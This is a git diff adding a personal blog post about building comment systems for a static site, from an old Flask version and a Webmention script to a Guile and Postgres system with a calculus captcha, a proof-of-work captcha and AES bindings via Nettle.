[[https://web.archive.org/web/20181013061219/http://jakob.space/blog/post/First+Impressions+of+the+Rust+Programming+Language][like this]]. + +Of course, I didn't have an especially compelling reason for my website to be running on Python. This was when I was picking up Python for a second time, and I heard that "building a website with Python" was an option. Using Flask was merely my attempt to understand what that meant. What I developed was a basic content management system: I'd write my content in HTML, commit it to the database by copy/pasting it into an SQLite GUI, and use Jinja2 to shoehorn that into some hand-crafted HTML templates. + +This workflow is frankly better suited to a static site generator, which is why I eventually dropped my Flask codebase for Hugo. But picking up Hugo wasn't my first response to realizing that my choice of tech stack was overkill -- what I did, instead, was take advantage of the power afforded to me. I developed a comment system. + +I tried my damned hardest to find the code for it, but when I pulled the repository from a backup, I was reminded of how bad my =git= hygiene used to be. + +#+BEGIN_SRC prog +commit 0ca36ee37903be95f915bddcd620f5e2786a67f7 (HEAD -> master) +Author: jakob <[redacted]> +Date: Fri Oct 27 17:12:54 2017 -0400 + + Last commit before redesign + +commit 914ca5965e77bfce2642fed7cc2d14ab265cc714 +Author: jakob <[redacted]> +Date: Sat Jul 22 20:25:33 2017 -0400 + + Redid showcases and blog format + +commit 39fa9c5760617931eae73bc9a57e9f1d60945024 +Author: jakob <[redacted]> +Date: Sun Dec 4 16:57:42 2016 -0500 + + Initial commit. +#+END_SRC + +I'm convinced it's lost to time. What I do remember is that I wrote a crappy captcha system for it with [[https://pillow.readthedocs.io/][Pillow]]; any form you put on the internet is inevitably going to get attention from many kinds of web spiders, so I did the bare minimum for taping it off. The algorithm was: + +- Pick =n= random characters +- Write each character to a fixed-size canvas at a fixed =x= offset and a randomized =y= offset +- Add some "noise" by drawing nonsensical lines across the canvas + +Intuition tells me that this isn't a great approach to thwarting bots, but I can't really conclude that it was ineffective because I have no data: in the time that it was actively deployed, no one had commented on any of my posts. Not even spammers. I don't recall exactly why I discontinued the comment system, but I know that it happened prior to my switch to Hugo -- the first post I made that received significant traffic[fn:3] was made before the switch to Hugo, and if I had kept it to the EOL of the Flask codebase, I think I would have remembered receiving a comment or two.[fn:4] + +** Webmentions + +There was no immediate replacement to the original comment system. For a while, my website was *just* the post archive and "about me" page. I eventually built a spiritual successor in my attempt at a [[https://en.wikipedia.org/wiki/Webmention][Webmention]] integration. Though, this is functionally quite different: rather than being stored in a central database that I manage, Webmentions are distributed across web. + +Generally speaking, Webmention is "just" a protocol for indicating to a website that you've linked to it, or otherwise mentioned it elsewhere. There tends to be some metadata associated with the content of the "mention," such as the name and website of the author, and what kind of interaction it is (a response, a bookmark, etc.) Furthermore, there are services like [[https://webmention.io/][webmention.io]] to handle the protocol on your behalf, making it a fairly enticing option for a static website. + +One could draw comparison to other services like [[https://disqus.com/][Disqus]] which I am averse to as they require the user to load [[https://www.gnu.org/philosophy/javascript-trap.en.html][non-free JavaScript]]. Webmention, on the other hand, is an [[https://www.w3.org/TR/webmention/][open standard]], and services that interface with the protocol typically provide a readily-queried API. In the case of webmention.io, [[https://github.com/aaronpk/webmention.io/blob/main/LICENSE.txt][the service itself is free software.]] + +I first implemented Webmention support circa 2019 over a weekend when I was taking a break at my parents' summertime cottage. The protocol was getting some attention on lobste.rs and HackerNews at the time, so I figured it would be a fun project. I was able to figure out just about everything I needed to know from [[https://aaronparecki.com/2018/06/30/11/your-first-webmention][Aaron Parecki's article]]. If you dig through that page enough, you'll find the first (and only?) Webmention =reply-to= that I've sent. + +What I won't talk about here is the code I wrote to have Haunt generate a Webmention "outbox" for comments I wrote, because I don't think it's particularly interesting. If you're really curious, the source code is [[https://git.sr.ht/~jakob/blog/tree/master/item/haunt/jakob/builder/outbox.scm][here]]. + +I'd prefer to talk about being a consumer of Webmentions. My first attempt at an "integration" was this: + +#+BEGIN_SRC javascript +/* + ,* webmention.js -- Fetch and display mentions from webmention.io. + ,* Copyright © 2019 Jakob L. Kreuze [REDACTED] + ,* + ,* This program is free software; you can redistribute it and/or + ,* modify it under the terms of the GNU General Public License as + ,* published by the Free Software Foundation; either version 3 of the + ,* License, or (at your option) any later version. + ,* + ,* This program is distributed in the hope that it will be useful, + ,* but WITHOUT ANY WARRANTY; without even the implied warranty of + ,* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + ,* General Public License for more details. + ,* + ,* You should have received a copy of the GNU General Public License + ,* along with this program. If not, see + ,* . + ,*/ + +function buildApiUri() { + const snip = /https?:\/\/.*?\//.exec(window.location.href); + const page = window.location.href.substring(snip[0].length); + + // TODO: Build up from aliases, etc. + const aliases = [page]; + + return Array.concat( + ["https://webmention.io/api/mentions.jf2?"], + aliases.flatMap((alias) => { + const ref = "jakob.space"; + return [ + `target[]=http://${ref}/${alias}`, + `target[]=https://${ref}/${alias}` + ]; + }).join("&") + ).join(""); +} + +function getData(url, callback) { + if (fetch) { + fetch(url).then(function(response) { + if (response.status >= 200 && response.status < 300) { + return Promise.resolve(response); + } else { + return Promise.reject(new Error(`Request failed: ${response.statusText}`)); + } + }).then(function(response) { + return response.json(); + }).then(callback); + } else { + let xhr = new XMLHttpRequest(); + xhr.onload = function(data) { + callback(JSON.parse(data)); + } + xhr.onerror = function(error) { + throw new Error(`Request failed: ${error}`); + } + } +} + +function makeComment(comment) { + const strip = (uri) => { + const sep = "://"; + return uri.substring(uri.indexOf(sep) + sep.length); + }; + + const element = (type, attributes) => { + let res = document.createElement(type); + for (const attribute in attributes) { + res.setAttribute(attribute, attributes[attribute]); + } + return res; + }; + + // Create the h-card section. + let avatar = element("img", { + "class": "u-photo", + "src": comment.author.photo + }); + + let authorName = element("a", { + "class": "p-name u-url", + "href": comment.author.url + }); + authorName.innerHTML = comment.author.name; + + let authorURI = element("a", { + "class": "author_url", + "href": comment.author.url + }); + authorURI.innerHTML = strip(comment.author.url); + + let hCardContainer = element("div", { + "class": "p-author h-card author" + }); + hCardContainer.appendChild(avatar); + hCardContainer.appendChild(authorName); + hCardContainer.appendChild(authorURI); + + // Create the content section. + let contentContainer = element("div", { + "class": "e-content p-name comment-content", + }); + contentContainer.innerHTML = comment.content.text; + + // Create the metaline section. + let time = element("time", { + "class": "dt-published", + "datetime": comment.published + }); + time.innerHTML = (new Date(comment.published)).toString(); + + let linkBack = element("a", { + "class": "u-url", + "href": comment.url + }); + linkBack.appendChild(time); + + let metalineContainer = element("div", { + "class": "metaline" + }); + metalineContainer.appendChild(linkBack); + + // Put it all together. + let wrapper = element("li", { + "class": "p-comment h-cite comment", + }); + wrapper.appendChild(hCardContainer); + wrapper.appendChild(contentContainer); + wrapper.appendChild(metalineContainer); + + return wrapper; +} + +getData(buildApiUri(), (json) => { + json.children + .map(makeComment) + .forEach((elem) => { + document.getElementById("webmention-container").appendChild(elem); + })}); +#+END_SRC + +This isn't anything to write home about. Vanilla JavaScript with no framework -- the majority of the code is DOM manipulation. You're free to use it [[https://www.gnu.org/licenses/gpl-3.0.en.html][under the constraints of the license]], if you really want to. + +Given that so much is offloaded to the third-party service, having the little Webmention display at the bottom of my posts hasn't demanded much maintenance. For the most part, it was "set it and forget it." Though, I did come back to the script every once in a while to hack on it. My biggest issue, running this for a couple of years, was the noise. The wide variety of interaction types that can be represented as Webmentions means that only a fraction of pingbacks contribute to a dialog. Lots end up being [[https://indieweb.org/like][likes]] or [[https://indieweb.org/repost][reposts]] or [[https://indieweb.org/favorite][favorites]], so I eventually made changes to separate the chaff from the wheat, showing those sorts of interactions as attenuated compared to the ones that carry meaningful information. + +[[./old-webmention-screenshot.png]] +#+CAPTION: The "de-noised" Webmention view on [[https://jakob.space/blog/i-love-my-pinephone.html][this post]]. + +This was certainly an improvement, but I was still unhappy with the signal-to-noise ratio, so I'm now hiding these sorts of interactions entirely. As nice as it is to be able to show off how popular you are, if it doesn't meaningfully contribute to the experience of the reader, I'd rather not clutter the page with it. + +Another issue is that writing a Webmention is likely untenable for a lot of people who would be reading my website[fn:5], so I ended up leveraging another external service, [[https://commentpara.de/][commentpara.de]], which hosts anonymous contents that then get syndicated via Webmention. I added a link to it above the Webmention section of every post, not expecting anyone to use it. But I turned out to be wrong about that. I've gotten some great comments through it, and that's been part of my motivation to work on the comment system I'm writing about below. + +The last thing I'd like to say regarding Webmention support is that the JavaScript code described above has since been superseded. In preparation for the new comment system, I rewrote the rendering code in Guile so that the Webmention view could be generated statically -- partly to reduce the load I was presumably putting on webmention.io, and partly so that folks who have JavaScript disabled could still see it. + +** A New Comment System + +And so, motivated by a desire for more control, I started on a month-long side project to implement a comment system in Guile. + +*** High-Level Architecture + +Assuming that JavaScript is enabled was fine for something that'd only be used by my "real life" friends, but I'd like the comment system to be usable by folks who might have it disabled. Also, it was literally slow enough to warrant a loading animation. So for the comment system, I've tried to cut client-side rendering out of the picture as much as possible. Haunt now generates a comment form at the bottom of each article which is /hidden by default/. If JavaScript is enabled, it's shown to the user along with a button to fetch a captcha challenge using XMLHttpRequest. Otherwise, it's replaced by a link, leading to a server-side rendered page with the captcha challenge "baked in." + +Why? Because, as we'll see, the captcha generation procedure is somewhat expensive. Considering the ratio of of "reader" traffic to "commenter" traffic, I didn't want to have to generate one on every page load. + +[[./web-server-traffic.jpg]] +#+CAPTION: A graph of requests per minute according to the Apache logs. This is generally what my traffic distribution is like when someone posts an article of mine onto HackerNews. + +Unlike the forms in the systems I described previously, there's no JavaScript involved in sending a comment to the API server. It's a regular HTML form that =POSTs= some =application/x-www-form-urlencoded= data on submission. The Guile API server receives that and inserts it into the Postgres database. + +#+BEGIN_SRC sql +CREATE TABLE comments( + id SERIAL PRIMARY KEY, + approved TIMESTAMP, + submitted TIMESTAMP NOT NULL, + slug VARCHAR(100) NOT NULL, + name VARCHAR(50) NOT NULL, + subject VARCHAR(100), + email VARCHAR(100), + url VARCHAR(100), + comment VARCHAR(1024) NOT NULL, + reactions VARCHAR(1024) +); +#+END_SRC + +Comments are rendered by Haunt -- the =builder= queries the Postgres database at build-time and generates a list of =alists=. + +#+BEGIN_SRC scheme +(define (format-comment comment) + "Format `comment', an alist, as SXML for a comment-type interaction" + (define (strip uri) + "Attempt to remove any sort of protocol specification from `uri'" + (let* ((needle "://") + (index (string-contains uri needle))) + (if index + (strip (substring uri (+ index (string-length needle)))) + uri))) + (let* ((author-name (assoc-ref comment 'name)) + (author-url (assoc-ref comment 'url)) + (author-photo (gravatar-url (assoc-ref comment 'email))) + (publish-datetime (assoc-ref comment 'publish-time)) + (content-text (assoc-ref comment 'comment)) + (content-reactions (assoc-ref comment 'reactions))) + `(li (@ (class "p-comment h-cite comment comment-source-internal")) + (img (@ (class "comment-source-identifier") + (alt "Icon for comments posted on jakob.space") + (src "/static/image/lambda.svg"))) + (div (@ (class "p-author h-card author")) + (img (@ (class "u-photo") (src ,author-photo))) + (span (@ (class author-name)) ,author-name) + ,@(if author-url + `((a (@ (class "author-url") + (href ,author-url)) + "(" ,(strip author-url) ")")) + `())) + (div (@ (class "e-content p-name comment-content")) + ,@(chain content-text + (safe-markdown->sxml _))) + (div (@ (class "metaline")) + (time (@ (class "dt-published") + (datetime ,publish-datetime)) + ,(date->string + (string->date publish-datetime "~Y~m~d ~H~M~S.~N") + "~B ~e, ~Y at ~H:~M"))) + (ul (@ (class "comment-reactions")) + ,@(map (match-lambda + ((emote . count) + `(li ,(format #f "~a (~a)" emote count)))) + content-reactions))))) + +(define (render-comment-view response) + "Render `response', the output of `fetch-webmentions', as SXML" + (map format-comment response)) +#+END_SRC + +Doing this at build-time has an obvious limitation, but I find it's a feature in my case: new comments don't appear until the site is re-built. In this comment system, though, individual comments aren't visible unless I've manually approved them (i.e, =approved= field is non-null), so I just re-build the site whenever I approve a comment. + +I anticipate a relatively low-volume of usage, so manually approving comments should be feasible, and I trust myself to act in good faith with moderating comments. I basically just don't want spam or hate speech. + +As it turns out, [[https://sive.rs/shc][I'm not the first to take this approach for implementing comments on a static site.]] The main difference between Derek's implementation and mine is that, because I'm approving comments manually, there isn't a need for the PostgreSQL trigger. Also, I rebuild the entire website instead of using XHR or a server-side include to update the comments view. + +*** Avatars + +I'm taking the usual approach for the little avatar pictures that appear next to each comment: if you provide an email address when submitting a comment, my site will prod the Gravatar API for whatever icon you may have linked to it. + +#+BEGIN_SRC scheme +(define (gravatar-url email) + (chain email + (string-downcase _) + (string-trim-both _) + (string->bytevector _ "utf8") + (bytevector-hash _ (lookup-hash-algorithm 'md5)) + (bytevector->base16-string _) + (format #f "https://www.gravatar.com/avatar/~a" _))) +#+END_SRC + +Otherwise, you get one of a couple fallback icons that I generated with [[https://en.wikipedia.org/wiki/Stable_Diffusion][Stable Diffusion]]. The prompt was something like "avatar for anonymous user." I don't remember what it was exactly since I generated them with my friend's beefy gaming computer after we'd had a few drinks. + +*** Markdown + +I wanted to support rich text in comments, so I pulled in [[https://github.com/OrangeShark/guile-commonmark][guile-commonmark]]. I'm filtering out images because that's ripe for abuse -- more so than links, in my experience. + +#+BEGIN_SRC scheme +(define (safe-markdown->sxml text) + "Convert TEXT to an sxml form filtering out any unsafe entities" + (define (sanitize sexp) + (cond ((and (list? sexp) + (positive? (length sexp)) + (eqv? 'img (car sexp))) + #f) + ((list? sexp) + (filter identity (map sanitize sexp))) + (else sexp))) + (sanitize (commonmark->sxml text))) +#+END_SRC + +=guile-commonmark= is [[https://git.sr.ht/~jakob/zerodaysfordays/commit/8aeda755323b9bd2270daa4e9ae98d3956256d1c][packaged in my Gentoo overlay]] since it isn't in the upstream Gentoo repos. + +*** Captcha System + +In some sense, I was motivated to work on the comment system because I thought that [[https://social.jakob.space/notice/AHqwVh4R25BECUwDLc][implementing a captcha system would be fun]]. + +For the first half of this year, I was still living at home with my parents, and my brother was still in high school. I was teaching him the AP calculus curriculum that he wasn't learning in school (mainly series stuff), and I was helping him to get good at calculating definite integrals, which I realized was mechanical enough to make for a good captcha system. Having just completed the symbolic differentiation exercises in SICP, I decided to hack one together as a proof-of-concept, which I shelved since I had to focus on more important things. + +This is one of those ideas that I know isn't original, but I can't exactly remember where I heard about it. Years ago, maybe, I read somewhere about an engineering forum that required users to calculate some sort of calculus problem before they could register for an account. I know that the DoomWorld forums at some point had a topical captcha problem where you had to provide the name of a randomly-chosen Doom sprite to register an account. Those are the two likely influences I had in coming up with this. + +The algorithm generates a random function and evaluates it on some randomly-chosen boundary. To generate the challenge, it symbolically differentiates the function, renders it with LaTeX, and sends that to the user. If their answer is "close enough," then they're allowed to post. + +#+BEGIN_SRC scheme +(define (random-term) + (match (random 5) + (0 `(* ,(+ 1 (random 10)) x)) + (1 `(* ,(+ 1 (random 10)) (expt x ,(random 10)))) + (2 `(* ,(+ 1 (random 10)) (exp x))) + (3 `(* ,(+ 1 (random 10)) (cos x))) + (4 `(* ,(+ 1 (random 10)) (sin x))))) + +(define (sexp->latex sexp) + (match sexp + (('+ rest ...) (string-join (map sexp->latex rest) " + ")) + (('* rest ...) (string-join (map sexp->latex rest) " \\cdot ")) + (('sin term) (format #f "\\sin(~a)" (sexp->latex term))) + (('cos term) (format #f "\\cos(~a)" (sexp->latex term))) + (('expt term n) (format #f "~a^{~a}" (sexp->latex term) (sexp->latex n))) + (('exp term) (format #f "e^{~a}" (sexp->latex term))) + ('x "x") + (n (cond ((and (number? n) (positive? n)) (format #f "~a" n)) + ((and (number? n) (negative? n)) (format #f "(~a)" n)) + ((number? n) "0") + (else (error "Do not know how to convert to latex." n)))))) + +(define (differentiate-sexp sexp) + (match sexp + (('+ rest ...) `(+ ,@(map differentiate-sexp rest))) + (('* coeff term) (if (number? coeff) + `(* ,coeff ,(differentiate-sexp term)) + (error "Do not know how to differentiate."))) + (('sin term) `(* ,(differentiate-sexp term) (cos ,term))) + (('cos term) `(* -1 ,(differentiate-sexp term) (sin ,term))) + (('exp term) `(* ,(differentiate-sexp term) (exp ,term))) + (('expt term n) `(* ,n (expt ,term ,(- n 1)))) + ('x 1) + (n (if (number? n) + 0 + (error "Do not know how to differentiate." n))))) + +(define (simplify-sexp sexp) + (match sexp + (('+ rest ...) `(+ ,@(map simplify-sexp rest))) + (('* 1 term) (simplify-sexp term)) + (('* 1 rest ...) (simplify-sexp `(* ,@rest))) + (('sin term) `(sin ,(simplify-sexp term))) + (('sin term) `(cos ,(simplify-sexp term))) + (('exp term) `(exp ,(simplify-sexp term))) + (('expt term 1) (simplify-sexp term)) + (('expt term n) `(expt ,(simplify-sexp term) ,(simplify-sexp n))) + (term term))) + +(define (random-expression) + (let ((n-terms (+ 2 (random 3)))) + `(+ ,@(map (lambda (x) (random-term)) (iota n-terms))))) + +(define (new-captcha!) + (let* ((lower-bound (random 10)) + (upper-bound (+ lower-bound 1 (random 9))) + (expression (random-expression)) + (latex-src (sexp->latex (simplify-sexp (differentiate-sexp expression)))) + (solution (- (local-eval expression (let ((x upper-bound)) (the-environment))) + (local-eval expression (let ((x lower-bound)) (the-environment))))) + (id (dequeue-id! tex-challenge-id-queue))) + (hash-set! tex-challenges id solution) + (values id + (latex->image (format #f "\\int_{~a}^{~a} ~a \\, dx" + lower-bound + upper-bound + latex-src))))) + +(define (validate-captcha! user-answer id) + (define epsilon 0.01) + (let ((solution (hash-ref tex-challenges id)) + (id-allocated (not (member id (id-queue-free tex-challenge-id-queue))))) + ;; FIXME: The predictable IDs means that its' easy for someone to screw with + ;; someone elses' captcha challenge (by invalidating it before they can + ;; submit it). Given the combination of our reaping algorithm and + ;; rate-limiting, does it make sense to only release the ID when the + ;; response is correct? + (format #t "Here: Solution was ~a and id-allocated is ~a~%" solution id-allocated) + (when (and solution id-allocated) + (release-id! id tex-challenge-id-queue)) + (and solution + id-allocated + (<= (/ (abs (- solution (string->number user-answer))) + solution) + epsilon)))) +#+END_SRC + +I was originally checking to see that the distance between the user's solution and the correct solution was less than epsilon, but a mathematically-inclined friend suggested using relative distance, which I've found to be much more reliable. + +Of course, I might have someone who wants to comment, but is visually impaired! So I have an alternative captcha system based loosely on the "proof-of-work" system that's used by Bitcoin. + +#+BEGIN_SRC scheme +;; How many zeroes the SHA-256 hash has to be prefixed by to be a valid proof of work. +(define %hardness 8) + +(define (new-proof-of-work-challenge!) + (let ((id (dequeue-id! pow-challenge-id-queue)) + (challenge (base64-encode (gen-random-bv 32)))) + (hash-set! pow-challenges id challenge) + (values id challenge))) + +(define (validate-proof-of-work! prefix challenge-id) + (define zero-prefix (string-join (map (lambda (_) "0") (iota %hardness)) "")) + (when (member challenge-id (id-queue-free pow-challenge-id-queue)) + (panic "No such challenge ID")) + (let* ((challenge (hash-ref pow-challenges challenge-id)) + (hash-value (chain (list prefix challenge) + (string-concatenate _) + (string->bytevector _ "utf8") + (bytevector-hash _ (lookup-hash-algorithm 'sha256)) + (bytevector->base16-string _)))) + ;; Invariant from `unless' form: + ;; (not (member challenge-id (id-queue-free pow-challenge-id-queue))) + (when challenge + (release-id! challenge-id pow-challenge-id-queue)) + (and (= 32 (string-length prefix)) + (string-prefix? zero-prefix hash-value)))) + +(define (make-pow-challenge! request body) + "API endpoint handler for requesting a proof-of-work challenge" + (let-values (((challenge-id nonce) (new-proof-of-work-challenge!))) + (values '((content-type . (application/json))) + (scm->json-string + `((hardness . ,%hardness) + (challenge-id . ,challenge-id) + (nonce . ,nonce)))))) +#+END_SRC + +Regardless of whether you're using the client-side rendered form or the server-side rendered form, this requires JavaScript. + +#+BEGIN_SRC javascript +function makeid(length) { + let result = ''; + let alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; + for (let i = 0; i < length; i++) { + result += alphabet.charAt(Math.floor(Math.random() * alphabet.length)); + } + return result; +} + +async function digestMessage(message) { + const msgUtf8 = new TextEncoder().encode(message); + const hashBuffer = await crypto.subtle.digest('SHA-256', msgUtf8); + const hashArray = Array.from(new Uint8Array(hashBuffer)); + const hashHex = hashArray.map((b) => b.toString(16).padStart(2, '0')).join(''); + return hashHex; +} + +async function findPrefix(hardness, nonce) { + while (true) { + let prefix = makeid(32); + let digestHex = await digestMessage(prefix + nonce); + if (digestHex.startsWith("0".repeat(hardness))) { + return prefix; + } + } +} + +function raceEndpoint() { + return new Promise(function (resolve, reject) { + makeRequest("GET", "/api/challenge/proof-of-work") + .then(function (data) { + let challengeData = JSON.parse(data); + findPrefix(challengeData.hardness, challengeData.nonce) + .then((prefix) => { resolve([prefix, challengeData["challenge-id"]]) } ); + }) + .catch(reject); + }); +} +#+END_SRC + +Though, I suppose it is theoretically solvable /without/ JavaScript. I could come up with a Perl or Python one-liner that would be attached to the form, and you'd copy into the terminal to do the proof-of-work, and then you could copy/paste the output into a form element. This is more work than I'm interested in doing at the moment, so I'm just hopeful that someone isn't visually impaired /and/ averse to enabling JavaScript on my website. + +I had previously planned to implement this in a completely stateless fashion. For the integral problem, the "answer" would be encrypted and MAC'd with =gcrypt=. Though, the =guile-gcrypt= bindings don't expose the symmetric cipher interface, so I had the option of either hacking on =guile-gcrypt= or generating some other bindings. I went with the other option, and wrote some bindings for [[https://en.wikipedia.org/wiki/Nettle_(cryptographic_library)][Nettle]]. + +#+BEGIN_SRC scheme +;;; Copyright © 2019 - 2022 Jakob L. Kreuze +;;; +;;; This program is free software; you can redistribute it and/or +;;; modify it under the terms of the GNU General Public License as +;;; published by the Free Software Foundation; either version 3 of the +;;; License, or (at your option) any later version. +;;; +;;; This program is distributed in the hope that it will be useful, +;;; but WITHOUT ANY WARRANTY; without even the implied warranty of +;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +;;; General Public License for more details. +;;; +;;; You should have received a copy of the GNU General Public License +;;; along with this program. If not, see +;;; . + +(define-module (jakob dynamic aes) + #:use-module (gcrypt random) + #:use-module (system foreign) + #:use-module (rnrs bytevectors) + #:export (new-captcha)) + +(define %libnettle (dynamic-link "libnettle")) +(define %aes256-rounds 14) + +(define %aes-key-size (/ 256 8)) +(define %aes-block-size (/ 128 8)) +(define %tex-aes-key (gen-random-bv %aes-key-size)) + +;; Assume `data' is a bytevector of length `%aes-block-size'. +(define (aes-256-encrypt key data) + (let ((dest (make-bytevector %aes-block-size)) + (%ctx (make-c-struct (map (lambda (_) uint32) (iota (* 4 (+ 1 %aes256-rounds)))) + (map (lambda (_) 0) (iota (* 4 (+ 1 %aes256-rounds)))))) + (%aes-256-encrypt + (pointer->procedure void + (dynamic-func "nettle_aes256_encrypt" %libnettle) + (list '* size_t '* '*))) + (%aes-256-set-encrypt-key + (pointer->procedure void + (dynamic-func "nettle_aes256_set_encrypt_key" %libnettle) + (list '* '*)))) + (%aes-256-set-encrypt-key %ctx (bytevector->pointer %tex-aes-key)) + (%aes-256-encrypt %ctx %aes-block-size (bytevector->pointer dest) (bytevector->pointer data)) + dest)) + +(define (aes-256-decrypt key data) + (let ((dest (make-bytevector %aes-block-size)) + (%ctx (make-c-struct (map (lambda (_) uint32) (iota (* 4 (+ 1 %aes256-rounds)))) + (map (lambda (_) 0) (iota (* 4 (+ 1 %aes256-rounds)))))) + (%aes-256-decrypt + (pointer->procedure void + (dynamic-func "nettle_aes256_decrypt" %libnettle) + (list '* size_t '* '*))) + (%aes-256-set-decrypt-key + (pointer->procedure void + (dynamic-func "nettle_aes256_set_decrypt_key" %libnettle) + (list '* '*)))) + (%aes-256-set-decrypt-key %ctx (bytevector->pointer %tex-aes-key)) + (%aes-256-decrypt %ctx %aes-block-size (bytevector->pointer dest) (bytevector->pointer data)) + dest)) + +;; (utf8->string (aes-256-decrypt %tex-aes-key (aes-256-encrypt %tex-aes-key (string->utf8 "AAAABBBBC hello!")))) +;; => "AAAABBBBC hello!" +#+END_SRC + +Obviously this isn't incredibly secure (we're loading private keys into regular memory, for example) but this is a fairly low-stakes cryptographic application. + +That said, I ended up dropping the cryptography entirely, because there's no way to implement this correctly without state. You can imagine some sort of "expiry" date after which a captcha is invalidated that you can MAC, but that leaves a period of time between when the user (or adversary) solves the captcha and when it expires that they are free to submit as many comments as the want. /Some/ state is necessary for realizing if we've seen a captcha before. So I maintain a hash table mapping challenge numerical IDs to solutions. + +#+BEGIN_SRC scheme +(define-record-type + (make-id-queue mutex min-free-threshold free-ids allocated-ids) + id-queue? + (mutex id-queue-mutex) + (min-free-threshold id-queue-min-free-threshold) + (free-ids id-queue-free set-id-queue-free!) + (allocated-ids id-queue-allocated set-id-queue-allocated!)) + +(define* (make-queue n #:key (min-free-threshold 32)) + "Construct a stateful queue for tracking captcha IDs + +The parameter N specifies how many free IDs should initially be allocated. The +optional keyword argument MIN-FREE-THRESHOLD specifies when `dequeue-id!' should +iterate through the allocated list and free anything exceeding an +internally-defined `time-to-live-seconds'." + (make-id-queue (make-mutex) min-free-threshold (iota n) (list))) + +(define (append-to-free-queue! id queue) + "Add ID to the end of the free list of QUEUE" + (set-id-queue-free! + queue + (append! (id-queue-free queue) (list id)))) + +(define (remove-from-free-queue! id queue) + "Remove ID from the free list of QUEUE" + (set-id-queue-free! queue (delete! id (id-queue-free queue)))) + +(define (append-to-allocated-queue! id queue) + "Add ID to the end of the allocated list of QUEUE" + (set-id-queue-allocated! + queue + (append! (id-queue-allocated queue) (list (list id (current-time)))))) + +(define (remove-from-allocated-queue! id queue) + "Remove ID from the allocated list of QUEUE" + (set-id-queue-allocated! + queue + (filter! (lambda (x) (not (equal? id (car x)))) + (id-queue-allocated queue)))) + +(define (release-id! id queue) + "Release ID to the free list of QUEUE" + (with-mutex (id-queue-mutex queue) + (assert (find (lambda (x) (equal? id (car x))) (id-queue-allocated queue))) + (assert (not (member id (id-queue-free queue)))) + (append-to-free-queue! id queue) + (remove-from-allocated-queue! id queue))) + +(define (dequeue-id! queue) + "Draw a random ID from QUEUE and mark it as allocated" + (define time-to-live-seconds (* 20 60)) + (with-mutex (id-queue-mutex queue) + ;; Initial pass to "unintrusively" free any stale IDs. + (when (< (length (id-queue-free queue)) + (id-queue-min-free-threshold queue)) + (for-each + (match-lambda + ((id created-time) + (when (>= (- (time-second (current-time)) + (time-second created-time)) + time-to-live-seconds) + (remove-from-allocated-queue! id queue)))) + (list-copy (id-queue-allocated queue)))) + ;; If we're still over the threshold, we'll need to be more intrusive. + ;; Ideally, this is avoided by rate-limiting. + (when (< (length (id-queue-free queue)) + (id-queue-min-free-threshold queue)) + (let* ((to-take (- (id-queue-min-free-threshold queue) + (length (id-queue-free queue)))) + (to-free (map car (take (id-queue-allocated queue) to-take)))) + (set-id-queue-allocated! queue (drop (id-queue-allocated queue) to-take)) + (set-id-queue-free! queue (append! (id-queue-free queue) to-free)))) + (let* ((n (random (length (id-queue-free queue)))) + (id (list-ref (id-queue-free queue) n))) + (remove-from-free-queue! id queue) + (append-to-allocated-queue! id queue) + id))) +#+END_SRC + +And this solves most of the problems. Of course, you can adversarially fill the hash table with junk in hopes of evicting someone else's challenge, but my hope is that rate-limiting will prevent that from happening, in general. + +*** The Future of Comments + +This is just the first implementation of the system. Seeing how it performs in practice will probably motivate some changes later on. Already, though, there are a few "to do" items that I have in mind. + +The ability to reply to other comments is the main feature I think I overlooked. I've added this to the database schema so that I don't have to deal with migrations when I come back to it. That'll require that I render comments as a tree rather than a list, which I expect to be a nontrivial change. + +There's also a reaction capability, which is implemented, but right now it's only exposed via an API endpoint -- there's no nice button that you can click on to react to a comment. Between now and when I get around to implementing the UI, you can manually hit the endpoint all you want. I don't care. Though, it is severely rate-limited. + +Finally, the captcha system is pretty subpar. It was a good idea in my head, but my algorithm isn't smart enough to choose constants that are nice to work with. In particular, to actually evaluate the integral, it's likely that you need to calculate awful expressions like $\sin(7)$. I'll either write a better algorithm, or drop the calculus idea entirely and opt for something a little less rote. Perhaps identifying equal angles in a diagram, or pwning a vulnerable binary running in a [[https://github.com/copy/v86][v86 virtual machine]]. + +** On The Choice to Use Postgres + +I already had a database instance for Pleroma. If it wasn't already there on my server, I would have [[https://lobste.rs/s/0q9w7n/consider_sqlite][considered SQLite]]. + +** Fitting This Together with Haunt + +For the same performance reason I gave for having the captcha behind a button that you need to click, I wanted to keep Haunt around. I also just think it's a great piece of software. This site is still generated by Haunt -- there just happens to now be a separate component for implementing a bit server-side logic, and Apache will forward traffic to that separate component if it's a request for something besides the static content that makes up the majority of my site. + +The nice thing about Haunt is that "sites," or configurations in Haunt, are just Guile programs. Because I chose Guile for the "dynamic" part of my website, I was able to import most of the code I'd written for my Haunt configuration. So far, I've only used this in one place: the [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/dynamic/capabilities/comment-form.scm][server-side rendered comment form]]. I'm able to import the function I use in Haunt to add the navigation bar, footer, and CSS, and use that for the form, as well as all of the [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/utils/sxml.scm][SXML utility functions I wrote]]. + +To give a very underwhelming conclusion: being able to import Haunt stuff and use it to generate the SXML that's output by a Guile =(web server)= program is pretty cool. + +--- + +[fn:1] Of course, the times someone's shown up uninvited, they didn't RSVP in the first place. In retrospect, it was a bit silly to think that this would work the way I expected it to. + +[fn:2] The.. only? + +[fn:3] According to Apache logs, at least. I don't use any sort of analytics. If you're really curious, it was my [[https://lobste.rs/s/owy0rw/first_impressions_rust_programming][first post about Rust]]. + +[fn:4] As an anecdote, I had folks reach out about the post via email, which I see this as far less convenient than filling out a comment form. Hence, I conclude that it's likely I removed the comment functionality by this point. + +[fn:5] If you read Aaron's article that I linked above, you'll see that writing a Webmention is very technical. You need a website of your own, and enough patience to generate a bunch of complicated HTML, just to write a comment. diff --git a/haunt/posts/reverse-engineering-babbys-first-archive-format.org b/haunt/posts/reverse-engineering-babbys-first-archive-format.org new file mode 100644 index 0000000..1f69b5a --- /dev/null +++ b/haunt/posts/reverse-engineering-babbys-first-archive-format.org @@ -0,0 +1,119 @@ +#+TITLE: Reverse Engineering Babby's First Archive Format +#+DATE: <2017-03-02 Thu 15:25> +#+TAGS: writeup programming reverse-engineering video-games x86 c python + +About two months have passed since the first 